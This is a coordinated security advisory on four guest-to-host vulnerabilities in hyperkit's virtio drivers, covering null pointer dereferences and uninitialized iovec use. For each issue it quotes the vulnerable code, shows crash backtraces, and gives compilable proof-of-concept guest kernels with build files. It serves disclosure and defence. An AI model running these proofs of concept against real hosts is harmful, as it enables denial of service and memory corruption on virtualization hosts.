Coordinated Disclosure Timeline
- 2021-03-30: Reported the vulnerabilities to security@docker.com
- 2021-03-31: Maintainers acknowledged the receipt of the report
- 2021-06-24: Maintainers fixed the issues
Summary
A malicious guest can trigger vulnerabilities in the host by abusing certain drivers that may lead to code execution outside the virtualized guest.
Product
hyperkit
Tested Version
v0.20210107
Details
Issue 1: vi_pci_read null vc_cfgread function pointer dereference (GHSL-2021-054)
Virtualized devices implement a struct virtio_consts
that contains handlers and other components that will be used by the device. The function pointer vc_cfgread
is used to read the virtio
configuration of a device which is an operation that the guest
performs to initialize the virtio
drivers.
Not every device implements all the available operations, therefore calls to virtio
handlers must be checked for null
. One such device is vtrnd
which is used to supply randomness to the guest:
static struct virtio_consts vtrnd_vi_consts = {
"vtrnd", /* our name */
1, /* we support 1 virtqueue */
0, /* config reg size */
pci_vtrnd_reset, /* reset */
pci_vtrnd_notify, /* device-wide qnotify */
NULL, /* read virtio config */
NULL, /* write virtio config */
NULL, /* apply negotiated features */
0, /* our capabilities */
};
In virtio.c there is a call to vc_cfgread
that does not check for null
which when called makes the host crash.
Vulnerable call:
if (offset >= virtio_config_size) {
/*
* Subtract off the standard size (including MSI-X
* registers if enabled) and dispatch to underlying driver.
* If that fails, fall into general code.
*/
newoff = (uint32_t) (offset - virtio_config_size);
max = vc->vc_cfgsize ? vc->vc_cfgsize : 0x100000000;
if ((newoff + ((unsigned) size)) > max)
goto bad;
error = (*vc->vc_cfgread)(DEV_SOFTC(vs), ((int) newoff), size, &value);
if (!error)
goto done;
}
Host crashing:
Stop reason: EXC_BAD_ACCESS (code=1, address=0x0)
* thread #4, name = 'vcpu:0', stop reason = EXC_BAD_ACCESS (code=1, address=0x0)
* frame #0: 0x0000000000000000
frame #1: 0x00000001001098d0 hyperkit`vi_pci_read(vcpu=0, pi=0x0000616000000f80, baridx=0, offset=20, size=1) at virtio.c:562:11 [opt]
frame #2: 0x00000001000bf4c2 hyperkit`pci_emul_io_handler(vcpu=0, in=1, port=8468, bytes=1, eax=0x000070000f7aabc0, arg=0x0000616000000f80) at pci_emul.c:361:22 [opt]
frame #3: 0x000000010009a90b hyperkit`emulate_inout(vcpu=0, vmexit=0x0000000100399620, strict=0) at inout.c:243:12 [opt]
frame #4: 0x000000010011740c hyperkit`vmexit_inout(vme=0x0000000100399620, pvcpu=0x000070000f7aae00) at hyperkit.c:353:10 [opt]
frame #5: 0x000000010011a311 hyperkit`vcpu_loop(vcpu=0, startrip=1052672) at hyperkit.c:631:22 [opt]
frame #6: 0x000000010011953d hyperkit`vcpu_thread(param=0x0000000100399220) at hyperkit.c:278:2 [opt]
frame #7: 0x00007fff2031d950 libsystem_pthread.dylib`_pthread_start + 224
frame #8: 0x00007fff2031947b libsystem_pthread.dylib`thread_start + 15
Impact
This issue may lead to a guest crashing the host causing a denial of service
.
Proof of Concept
The following PoC
is a simple multiboot kernel that simulates a compromised guest. The guest must be booted with the device vtrnd
enabled by passing hyperkit
the command line flags -s 5,virtio-rnd
for example.
In order to compile it follow the instructions in the resources
section.
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
static uint8_t inb(uint16_t port)
{
uint8_t ret;
__asm__ __volatile__("inb %1,%0"
: "=a"(ret)
: "Nd"(port));
return ret;
}
int kernel_main(void)
{
inb(0x2114);
return 0;
}
Issue 2: vi_pci_write null vc_cfgwrite function pointer dereference (GHSL-2021-055)
This issue is similar to issue 1
but it involves the vc_cfgwrite
function pointer which is called in the same way by vi_pci_write. Again, the device vtrnd
has no implementation of this function therefore when it is called the host crashes.
Vulnerable call:
if (offset >= virtio_config_size) {
/*
* Subtract off the standard size (including MSI-X
* registers if enabled) and dispatch to underlying driver.
*/
newoff = (uint32_t) (offset - virtio_config_size);
max = vc->vc_cfgsize ? vc->vc_cfgsize : 0x100000000;
if ((newoff + ((unsigned) size)) > max)
goto bad;
error = (*vc->vc_cfgwrite)(DEV_SOFTC(vs), ((int) newoff), size,
((uint32_t) value));
if (!error)
goto done;
}
Host crashing:
Stop reason: EXC_BAD_ACCESS (code=1, address=0x0)
* thread #6, name = 'vcpu:0', stop reason = EXC_BAD_ACCESS (code=1, address=0x0)
* frame #0: 0x0000000000000000
frame #1: 0x0000000100041866 hyperkit`vi_pci_write(vcpu=0, pi=0x0000616000000f80, baridx=0, offset=20, size=2, value=51966) at virtio.c:681:11 [opt]
frame #2: 0x0000000100029c22 hyperkit`pci_emul_io_handler(vcpu=0, in=0, port=8468, bytes=2, eax=0x000070000a59ae84, arg=0x0000616000000f80) at pci_emul.c:364:5 [opt]
frame #3: 0x000000010001eaf0 hyperkit`emulate_inout(vcpu=0, vmexit=0x000000010025a7d0, strict=0) at inout.c:243:12 [opt]
frame #4: 0x00000001000452cd hyperkit`vmexit_inout(vme=0x000000010025a7d0, pvcpu=0x000070000a59af5c) at hyperkit.c:353:10 [opt]
frame #5: 0x00000001000451ac hyperkit`vcpu_loop(vcpu=0, startrip=1052672) at hyperkit.c:631:22 [opt]
frame #6: 0x0000000100044d5d hyperkit`vcpu_thread(param=0x000000010025a3d0) at hyperkit.c:278:2 [opt]
frame #7: 0x00007fff2048b950 libsystem_pthread.dylib`_pthread_start + 224
frame #8: 0x00007fff2048747b libsystem_pthread.dylib`thread_start + 15
Impact
This issue may lead to a guest crashing the host causing a denial of service
.
Proof of Concept
The following PoC
is a simple multiboot kernel that simulates a compromised guest. The guest must be booted with the device vtrnd
enabled by passing hyperkit
the command line flags -s 5,virtio-rnd
for example.
In order to compile it follow the instructions in the resources
section.
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
static void
outw(uint16_t port, uint16_t value)
{
__asm__ __volatile__("outw %w0,%w1"
:
: "a"(value), "Nd"(port));
}
int kernel_main(void)
{
outw(0x2114, 0xcafe);
return 0;
}
Issue 3: vtrnd pci_vtrnd_notify uninitialized memory use (GHSL-2021-056)
vtrnd
is an implementation of Virtio RNG, a paravirtualized device that is exposed as a hardware RNG device to the guest. The randomness values are transferred into the guest memory by reading queues
defined by the guest by using vq_getchain
to fill a struct iovec
structure with the memory ranges specified by the guest.
When there is an error condition, the function vq_getchain
returns -1
if there was an error, 0
if there was no work to be done, or an integer bigger than 0
signaling the number of descriptors it was able to read into the iovec
structure. In all cases, it is important to check for errors and if the amount of descriptors requested matches the amount read.
Unfortunately the implementation of qnotify
at pci_vtrnd_notify, fails to check the return value of vq_getchain
. This leads to struct iovec iov;
being uninitialized and used to read memory in len = (int) read(sc->vrsc_fd, iov.iov_base, iov.iov_len);
when an attacker is able to make vq_getchain
fail.
Making vq_getchain
fail is trivial since by definition it deals with virtio
queues that are created by the guest operating system. The simplest way to make this function not initialize the iovec
structure is by simply not creating any virtio
queues for it to read.
Vulnerable function:
static void
pci_vtrnd_notify(void *vsc, struct vqueue_info *vq)
{
struct iovec iov;
struct pci_vtrnd_softc *sc;
int len;
uint16_t idx;
sc = vsc;
if (sc->vrsc_fd < 0) {
vq_endchains(vq, 0);
return;
}
while (vq_has_descs(vq)) {
vq_getchain(vq, &idx, &iov, 1, NULL);
len = (int) read(sc->vrsc_fd, iov.iov_base, iov.iov_len);
DPRINTF(("vtrnd: vtrnd_notify(): %d\r\n", len));
/* Catastrophe if unable to read from /dev/random */
assert(len > 0);
/*
* Release this chain and handle more
*/
vq_relchain(vq, idx, (uint32_t)len);
}
vq_endchains(vq, 1); /* Generate interrupt if appropriate. */
}
Impact
This issue may lead to a guest crashing the host causing a denial of service
and under certain circumstance memory corruption.
Proof of Concept
The following PoC
is a simple multiboot kernel that simulates a compromised guest. The guest must be booted with the device vtrnd
enabled by passing hyperkit
the command line flags -s 5,virtio-rnd
for example.
In order to compile it follow the instructions in the resources
section.
Warning: In order to verify that the vulnerability exists, please attach a debugger instead of waiting for a crash because due to the nature of the vulnerability, a crash may not happen.
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
static void
outw(uint16_t port, uint16_t value)
{
__asm__ __volatile__("outw %w0,%w1"
:
: "a"(value), "Nd"(port));
}
static void
outl(uint16_t port, uint32_t value)
{
__asm__ __volatile__("outl %0,%w1"
:
: "a"(value), "Nd"(port));
}
struct __attribute__((packed)) vring_avail
{
uint16_t va_flags; /* VRING_AVAIL_F_* */
uint16_t va_idx; /* counts to 65535, then cycles */
uint16_t va_ring[]; /* size N, reported in QNUM value */
};
#define VQ_QSIZE 0x40
int kernel_main(void)
{
// 0. Choose an address that is mapped but unused.
uint64_t pfn = 0x1000000;
// 1. Select a queue.
// VTCFG_R_QSEL = 0x0e
outw(0x210e, 0);
// 2. Initialize the queue to our address.
// VTCFG_R_PFN = 0x08
outl(0x2108, pfn / 4096);
// 3. Satisfy vq_has_descs and make (ndesc > vq->vq_qsize) false.
struct vring_avail *avail = (struct vring_avail *)&((uint32_t *)(pfn))[0x100];
avail->va_idx = VQ_QSIZE + 1;
// 4. Call pci_vtrnd_notify to trigger a vq_getchain.
// VTCFG_R_QNOTIFY = 0x10
// pci_emul_io_handler = 0x2100
// pci_emul_io_handler | VTCFG_R_QNOTIFY
outw(0x2110, 0);
return 0;
}
Issue 4: virtio-sock pci_vtsock_proc_tx uninitialized memory use (GHSL-2021-057)
The function pci_vtsock_proc_tx
has the same vulnerability pattern we described on issue number 3.
Vulnerable function:
static void pci_vtsock_proc_tx(struct pci_vtsock_softc *sc,
struct vqueue_info *vq)
{
struct pci_vtsock_sock *sock;
struct iovec iov_array[VTSOCK_MAXSEGS], *iov = iov_array;
uint16_t idx, flags[VTSOCK_MAXSEGS];
struct virtio_sock_hdr hdr;
int iovec_len;
size_t pulled;
iovec_len = vq_getchain(vq, &idx, iov, VTSOCK_MAXSEGS, flags);
assert(iovec_len <= VTSOCK_MAXSEGS);
...
}
In this situation, there is a check for the return value to be less or equal to VTSOCK_MAXSEGS
, but that check is not sufficient because the function can return -1
if it finds an error it cannot recover from. Moreover, the negative return value will be used by iovec_pull
in a while condition that can further lead to more corruption because the function is not designed to handle a negative iov_len
.
static size_t iovec_pull(struct iovec **iov, int *iov_len, void *buf, size_t bytes)
{
...
while (res < bytes && *iov_len) {
size_t c = (bytes - res) < (*iov)[0].iov_len ? (bytes - res) : (*iov)[0].iov_len;
//DPRINTF(("Copy %zd/%zd bytes from base=%p to buf=%p\n",
// c, (*iov)[0].iov_len, (void*)(*iov)[0].iov_base, (void*)buf));
if (buf) memcpy(buf, (*iov)[0].iov_base, c);
(*iov)[0].iov_len -= c;
(*iov)[0].iov_base = (char *)(*iov)[0].iov_base + c;
//DPRINTF(("iov %p is now %zd bytes at %p\n", (void *)*iov,
// (*iov)[0].iov_len, (void *)(*iov)[0].iov_base));
if ((*iov)[0].iov_len == 0) {
(*iov)++;
(*iov_len)--;
//DPRINTF(("iov elem consumed, now iov=%p, iov_len=%d\n", (void *)*iov, *iov_len));
}
if (buf) buf = (char *)buf + c;
//DPRINTF(("buf now %p\n", (void *)buf));
res += c;
}
//DPRINTF(("iovec_pull pulled %zd/%zd bytes\n", res, bytes));
return res;
}
Host crashing:
Launching: /Users/goose/workspace/hyperkit/build/hyperkit -A -b -c 2 -s 0:0,hostbridge -s 1,uart -s 4,virtio-blk,disk.img -s 5,virtio-rnd -s 31,lpc -s 7,virtio-sock,guest_cid=3,path=/tmp/hyperkit,guest_forwards=2375 -l com1,stdio -f multiboot,/Users/goose/workspace/hype-r-kernel/build/poc
Launched process 5474
Stop reason: EXC_BAD_ACCESS (code=1, address=0xc)
bt
* thread #4, name = 'vsock:tx', stop reason = EXC_BAD_ACCESS (code=1, address=0xc)
* frame #0: 0x00000001003eb4d5 libclang_rt.asan_osx_dynamic.dylib`__sanitizer::internal_memmove(void*, void const*, unsigned long) + 373
frame #1: 0x00000001003aadf0 libclang_rt.asan_osx_dynamic.dylib`wrap_memmove + 736
frame #2: 0x000000010003ab22 hyperkit`iovec_pull(iov=0x000070000403aa00, iov_len=0x000070000403aa44, buf=0x000070000403aa08, bytes=44) at pci_virtio_sock.c:451:12 [opt]
frame #3: 0x000000010003a3d9 hyperkit`pci_vtsock_proc_tx(sc=0x0000000114348800, vq=0x00000001143488c0) at pci_virtio_sock.c:1132:11 [opt]
frame #4: 0x0000000100037e2f hyperkit`pci_vtsock_tx_thread(vsc=0x0000000114348800) at pci_virtio_sock.c:1609:4 [opt]
frame #5: 0x00007fff205f6950 libsystem_pthread.dylib`_pthread_start + 224
frame #6: 0x00007fff205f247b libsystem_pthread.dylib`thread_start + 15
Impact
This issue may lead to a guest crashing the host causing a denial of service
and under certain circumstance memory corruption.
Proof of Concept
The following PoC
is a simple multiboot kernel that simulates a compromised guest. The guest must be booted with the device vtrnd
enabled by passing hyperkit
the command line flags -s 5,virtio-rnd
for example.
In order to compile it follow the instructions in the resources
section.
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
static void
outw(uint16_t port, uint16_t value)
{
__asm__ __volatile__("outw %w0,%w1"
:
: "a"(value), "Nd"(port));
}
static void
outl(uint16_t port, uint32_t value)
{
__asm__ __volatile__("outl %0,%w1"
:
: "a"(value), "Nd"(port));
}
struct __attribute__((packed)) vring_avail
{
uint16_t va_flags; /* VRING_AVAIL_F_* */
uint16_t va_idx; /* counts to 65535, then cycles */
uint16_t va_ring[]; /* size N, reported in QNUM value */
};
int kernel_main(void)
{
// 0. Choose an address that is mapped but unused.
uint64_t pfn = 0x1000000;
// 1. Select a queue.
// VTCFG_R_QSEL = 0x0e
outw(0x212e, 1);
// 2. Initialize the queue to our address.
// VTCFG_R_PFN = 0x08
outl(0x2128, pfn / 4096);
// 3. Satisfy vq_has_descs and make (ndesc > vq->vq_qsize) false.
struct vring_avail *vq_avail = (struct vring_avail *)&((uint32_t *)(pfn))[0x400];
vq_avail->va_idx = 257;
// 4. Call pci_vtsock_proc_tx to trigger a vq_getchain.
outw(0x2120 | 0x10, 1);
return;
}
Resources
In order to compile each proof of concept code, place the code into a C file in a directory along with the provided files linker.ld
and start.s
. You will also need to install nasm
and i686-elf-gcc
:
Compilation:
# Install compilation dependencies.
brew install nasm i686-elf-gcc
# Compile the kernel into a file named `poc`.
nasm -felf32 -w+all -o start.o start.s
i686-elf-gcc -std=c17 -Wall -ffreestanding -O0 -nostdlib -Wno-unused-function -c poc.c -o poc.o
i686-elf-gcc -std=c17 -Wall -ffreestanding -O0 -nostdlib -Wno-unused-function -T linker.ld start.o poc.o -o poc -lgcc
linker.ld
ENTRY(start)
SECTIONS
{
. = 1M;
.multiboot BLOCK(4K) : ALIGN(4K)
{
*(.multiboot)
}
.text BLOCK(4K) : ALIGN(4K)
{
*(.text)
}
.data BLOCK(4K) : ALIGN(4K)
{
*(.data)
}
.rodata BLOCK(4K) : ALIGN(4K)
{
*(.rodata)
}
.bss BLOCK(4K) : ALIGN(4K)
{
*(.common)
*(.bss)
}
}
start.s
KERNEL_STACK_SIZE equ 0x4000
[section .multiboot]
MB_MODULEALIGN equ 1 << 0
MB_MEMINFO equ 1 << 1
MB_FLAGS equ MB_MODULEALIGN | MB_MEMINFO
MB_MAGIC equ 0x1BADB002
MB_CHECKSUM equ -(MB_MAGIC + MB_FLAGS)
multiboot_header:
dd MB_MAGIC
dd MB_FLAGS
dd MB_CHECKSUM
[section .text]
start:
global start
lgdt [gdt_temp_r]
mov eax, 0x10
mov ds, ax
mov es, ax
mov ss, ax
jmp 0x08:kernel_entry
kernel_entry:
mov esp, kernel_stack + KERNEL_STACK_SIZE
mov ebp, esp
extern kernel_main
call kernel_main
jmp $
[section .data]
gdt_temp:
dq 0x0000000000000000
dq 0x00cf9a000000ffff
dq 0x00cf92000000ffff
gdt_temp_end:
gdt_temp_r:
dw gdt_temp_end - gdt_temp - 1
dd gdt_temp
[section .bss]
align 32
kernel_stack:
resb KERNEL_STACK_SIZE
CVE
- CVE-2021-32843
- CVE-2021-32844
- CVE-2021-32845
- CVE-2021-32846
Resources
- https://github.com/moby/hyperkit/pull/313
Credit
This issue was discovered and reported by GHSL team member @agustingianni (Agustin Gianni).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-YEAR-ID
in any communication regarding this issue.